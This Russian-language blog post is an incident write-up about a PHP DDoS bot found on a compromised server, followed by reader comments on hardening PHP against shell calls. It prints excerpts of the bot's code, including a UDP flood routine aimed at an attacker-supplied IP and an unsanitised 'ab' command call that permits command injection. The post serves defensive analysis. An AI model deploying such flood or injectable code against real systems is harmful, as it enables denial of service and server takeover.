DDOS-бот на PHP гуляет по серверам

    Сегодня, около двух часов ночи, когда я хотел отойти ко сну, ко мне в скайп написал один из знакомых. В прошлом году я помогал ему администрировать несколько его серверов. В столь позднее время он писал о том, что сетевой интерфейс одного из его серверов полностью забит, судя по графику mrtg. Я посмотрел, действительно, я даже не смог достучаться до ssh, сервер перезагрузили и начался анализ ситуации…

    image

    Анализ ситуации

    После перезагрузки сервера, через какое-то время, трафик появился снова. Запустил iptraf, он показал довольно большое кол-во UDP пакетов к одному IP-адресу — "171.161.224.16", когда я его отрезолвил в dns5.bankofamerica.com: все встало на свои места, явно с сервера идет ддос.

    Забанил IP в iptables. Посмотрел top, один из процессов httpd отъедал 100% cpu, натравил на него strace, увидел все тот же знакомый адрес. Так как access_log'ов на сервере нет, а в error_log'ах было пусто, то я обратился к логам прекрасного php-модуля baxtep (статья на хабре), который пишет в лог все попытки выполнить какую-либо команду через php интерпретатор. Я сделал RPMку и всегда ставлю его на подопечные серверы, как раз на такой случай. Я невооруженным глазом определил имя искомого скрипта:

    2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
    2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-bin` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
    2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-cgi` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php

    Код файла доступен по ссылке, я нашел его в гугле по строке itsoknoproblembro из файла, в гугле всего один результат, свежак подумал я и решил написать об этом на хабр.

    Анализ кода

    Размер файла всего 3кб, код не сложный. Основные возможности бота:
    • закачка файлов на сервер
    • ддос большим кол-вом UDP пакетов
    • ддос через утилиту ab

    Остановлюсь подробнее на ддосе.

      case "ust":
        $page = curPageURL();
        $ip = $_POST['ip'];
        $port = "11";
        $out = $page."\n";
        $socket = stream_socket_client("udp://$ip:$port");
        if ($socket) {
          stream_set_write_buffer($socket, 0);
          stream_socket_sendto($socket,$out);
        }
        fclose($socket);
      break;
    

    Скрипт получает адрес атакуемой цели через параметр, открывает UDP-сокет и пока сокет существует шлет запросы на 11-й порт. Причем, интересно что в данных он передает свой же адрес.
    function curPageURL(){
      $pageURL = 'http';
      if ($_SERVER["HTTPS"] == "on") {
        $pageURL .= "s";
      }
      $pageURL .= "://";
      if ($_SERVER["SERVER_PORT"] != "80") {
        $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
      } else {
        $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
      }
      return $pageURL;
    }
    

    Вопрос «Зачем?» не покидает мою голову уже 12 часов.

    Второй метод атаки — через утилиту ab:
      case "ab":
        $url = $_POST['url'];
        $c = $_POST['c'];
        $n = $_POST['n'];
        cmdexec("ab -c $c -n $n $url");
      break;
    

    Причем, здесь нет проверок входящих параметров и можно выполнять произвольные команды на сервере.

    Ранее, я лично не сталкивался с UDP-ддосом на php, не заливали нам такого, погуглил — видимо народ уже давно практикует под разными соусами.

    Выводы

    • Как показала практика, такой скрипт легко забивает весь доступный канал.
    • Ситуация стала реальностью, так как UDP не был параноидально зафильтрован на сервере.
    • Кто-то решил положить BOA :)
    Share post

    Comments 43

      +44
      Главная проблема, по-моему, в том, что кто-то вам залил на сервер свой файл. Гораздо интереснее было бы прочитать анализ того, как это было сделано, а не что этот файл делал дальше.
        +3
        Мопед не мой © у знакомого на сервере стоят различные покупные php-скрипты, в одном из них была дырка, он обновил его на новую версию.
          +2
          Видел сегодня точно такой же взлом с db/indx.php (именно в db/). На сайте установлен pivotX. Видимо, выплыл какой-то эксплойт для этой CMS'ки.
            –2
            Название CMS'и еще бы знать.
              0
              В моем случае оказалось, что поломали еще в октябре через timthumb.php в pivotX. С тех пор лежало тихонько, получается.

              В последнее время вижу много сайтов, которые поломали 2-3 месяца назад, но какая-то заметная активность началась только сейчас.

              Также вижу повышение хитрости взломщиков — скрипты чаще маскируют под поломанную CMS'ку, раньше просто валялись с легкоузнаваемыми названиями в легкоузнаваемых местах.
        • UFO just landed and posted this here
            +2
            Отнюдь. У меня есть несколько скриптов, которые запускают шелл-вызовы через веб-морду и от них отказаться нет возможности.

            Может быть есть способ запретить шелл-вызовы всем скриптам, кроме определенных? А то меня тоже недавно поимели через дырку в забытом phpmyadmin.
            • UFO just landed and posted this here
                0
                Ну так там интерактивная веб-морда, которая запускает команды, нужные не по крону, а прям сейчас.

                Или я что-то не знаю о взаимодействии пхп с кроном?
                • UFO just landed and posted this here
                    +3
                    Вариант 1:
                    Можно приколхозить слежение за каким-либо файлом, хоть на tail -f и просто писать в файл из РНР. А потом в РНР ждать появления определённого файла с ответом и просто его транслировать.
                    Вариант 2:
                    Ставим модуль runkit, запрещаем все функции кроме, например, exec(), через ранкит переименовываем стандартную функцию exec() и делаем свою с фильтрацией команд и т.п. Потом уже вызываем переименованную функцию (которая на самом деле стандартная) и возвращаем её результат. Выгода: вызывай хацкер хоть завызывайся эту функцию, если команды не пройдут проверку — в сад.
                    Вариант 3:
                    Придумать самим.
                      0
                      Вариант 4: придумать для PHP-файлов специальное расширение, которое никто не будет знать. Например *.somephpstuff. Кулхацкер заливает файл *.php, запрашивает и… Видит свой-же г-внокод. Но есть минус, который я где-то на хабре уже обсуждал — переезд на другой сервер, и все исходники случайно выставляются напоказ. Плюс, хранить php в файлах не *.php — некошерно, ИМХО.

                      Вариант 5: запретить пользователю, от которого работает PHP записывать файлы на диск. Хранить все, включая небольшие картинки-аватарки, в БД (естественно, нужно фильтровать вх. данные). Тогда никакой шелл залить не получится.

                      Вариант 6: самостоятельно выдавать имена загружаемым файлам (чтобы не залили картинку «backdoor.php»).
                        0
                        Я примерно о том же и написал в п. 3 :) Вариантов решения одной проблемы всегда >1 :)
                          0
                          Еще есть прекрасная опция auto_prepend_file. Указываем файл, в нем проверяем какой php файл был запущен, если не из списа разрешенных — exit
                          Вполне неплохое решение, как правило используют mod-rewrite и файл запускают один
                        +13
                        Примерно так с runkit:
                        runkit_function_rename ('exec', 'execWithBlackjack');
                        function exec($sCommand) {
                            if (isValidCommand($sCommand)) {
                                return execWithBlackjack($sCommand);
                            }
                            return FALSE;
                        }
                        
                          0
                          pro100tak, однако, спасибо за крутой коммент! именно так и сделаю значит на продакшне.

                          Еще недавно узнал, что можно переопределять в PHP некоторые системные функции. Например, у нас так программер переписал все функции по работе с сессиями под наши нужды.
                            +1
                            upd. Насчет переопределения функций — это я глупость сказал, не подумав: оно ведь работает в пределах одного скрипта, а не глобально.
                              +3
                              Оно как раз должно работать глобально, чтобы ни с какого места не смогли бы до него достучаться. Я б ещё использовал auto_prepend_file директиву в ini файле. А там — если адреса страниц не в списке — просто удалять эту функцию (чтоб даже мышь не проскочила). А для разрешённых адресов — переопределять.
                              Кстати (c php.net):
                              Замечание: По умолчанию, только пользовательские функции могут быть удалены, переименованы или изменены. Для перекрытия внутренних функций, необходимо включить в php.ini опцию runkit.internal_override.

                              Мануал: http://php.net/manual/ru/book.runkit.php
                              +1
                              runkit достаточно накладен по ресурсам и медленен. Я бы не стал его использовать на часто запрашиваемых страницах. Точно также как и Reflection.
                                0
                                И чего такого медленного и накладного в приведенном примере? Вроде бы речь не о sandbox.
                                  +1
                                  Я стараюсь вообще такую магию не пользовать или кешировать напрочь результаты работы заклинаний :)
                                  Хотя, я даже не задумывался — что же там накладного… Наверное — это условный рефлекс уже: runkit — медленно.
                              0
                              А сам runkit уже продакшн-реди? Я где-то читал, что он сам еще молод, зелен и дыряв!
                              +1
                              Что-то я не верю, что может быть задача которая не сможет подождать максимум минуту. Вопросы безопасности это всегда отношение скорость/безопасность. Поэтому, имхо, разумнее схема, при которой из веб морды запускается не команда, а делается запись в БД с описанием задания. В кроне висит скрипт который ежеминутно дергает cli php скрипт который лезет в базу, получает задание и уже сам решает, делать или нет и если да, то выполняет его. Максимальная задержка на запуск — минута, в реальности будет ниже.
                                0
                                Вариант с tail -f пока мне нравится больше всего.
                                  0
                                  Тут не суть, главное чтобы в файл или БД (или в очередь в памяти) писалась не команда шелла, а команда «наблюдателю», которую он сам будет интерпретировать в команды шелла.

                                  Кстати, хороший, имхо, вариант — реализовать через sysvsem msg_*. Оверхида должно быть куда меньше, чем при работе с БД или ФС. Веб-морда пишет задания в одну очередь, демон или задача хрона (чтоб возможных утечек избежать) их оттуда читает, обрабатывает и пишет результаты в другую очередь, откуда их читает веб-морда.
                          +1
                          Ну ты же знаешь, что это не всегда возможно. Всякие платные скрипты под зендом очень любят дернуть mplayer, imagemagick и тп
                          +3
                          Это ж Анонимусы ) Продолжают войну за свободу викиликс )
                            +1
                            а тем временем Bank of America грузится очень долго.
                              +2
                              не выдерживает хабраэффект :)
                                –1
                                да не скорей подобные скрипты залитые на другие сервера.
                                  0
                                  Хм… DDOS второго порядка (через хабраэффект)…
                              0
                              Можно было еще посомтреть, кто к этому скрипту обращался и с какого IP. Сейчас многие «хакеры» даже IP не скрывают, так как их никто не ловит все равно.
                                0
                                Разумеется, я сразу настроил лог на этот локейшен. Обращались всего один раз, отсюда 184.22.135.184. Какой-то сервант в штатах.
                                0
                                Помню была такая хреновина достаточно давно. Контрольный центр кажется smerch назывался, а «ноды» — обычные вебшеллы c возможностью exec.
                                  0
                                  2006 год, кажется. Не думал что кто-то вспомнит про эту технологию.
                                    0
                                    шеловый ботнет. они сейчас актуальны
                                  0
                                  Недавно такое же было на одном из серверов. Было подозрение на открытый PMA (но вход в сам ПМА по логину и паролю) без Basic Auth и на CNStats.

                                  CNStats просто выпили, PMA теперь под Basic Auth. Больше гадость не появлялась.

                                  Коннекты кстати были с айпи 188.240.236.12 (Румыния).

                                  Забивало весь канал пару часов.
                                    0
                                    Совершенно очевидно, что используются эксплоиты, заливается файл и дальше пошло-поехало. Держите софт обновленным, а необновленным — скрытым от посторонних глаз.

                                    Хорошо, что сервер был не продакшен, ничего особенного на нем не вертелось.
                                    +2
                                    Itsoknoproblembro. Порадовало название скрипта.
                                      0
                                      Спасибо за статью, прочитал на одном дыхании, прямо мануал по troubleshoot'ингу ;-)
                                        0
                                        во многие wordpress-темы, кстати, входит библиотека thumbnail — которая легко и просто кропает картинки, но при этом является ещё и дырой, которую надо умело прикрывать (делов то — назначить false двум переменным).

                                        а изза того, что я вовремя не обновил саму библиотеку на 4 сайтах — у меня на хёцнере целиком сервак стопанули. теперь вот и не знаю как быть то вообще.
                                          0
                                          А нельзя поподробнее?
                                            0
                                            Сейчас уже, в свежих версиях этой библиотеки беда «прикрыта».
                                            в 2011 году — библиотека thumbnail была дырой.
                                            Теперь уже не акутально.

                                        Only users with full accounts can post comments. Log in, please.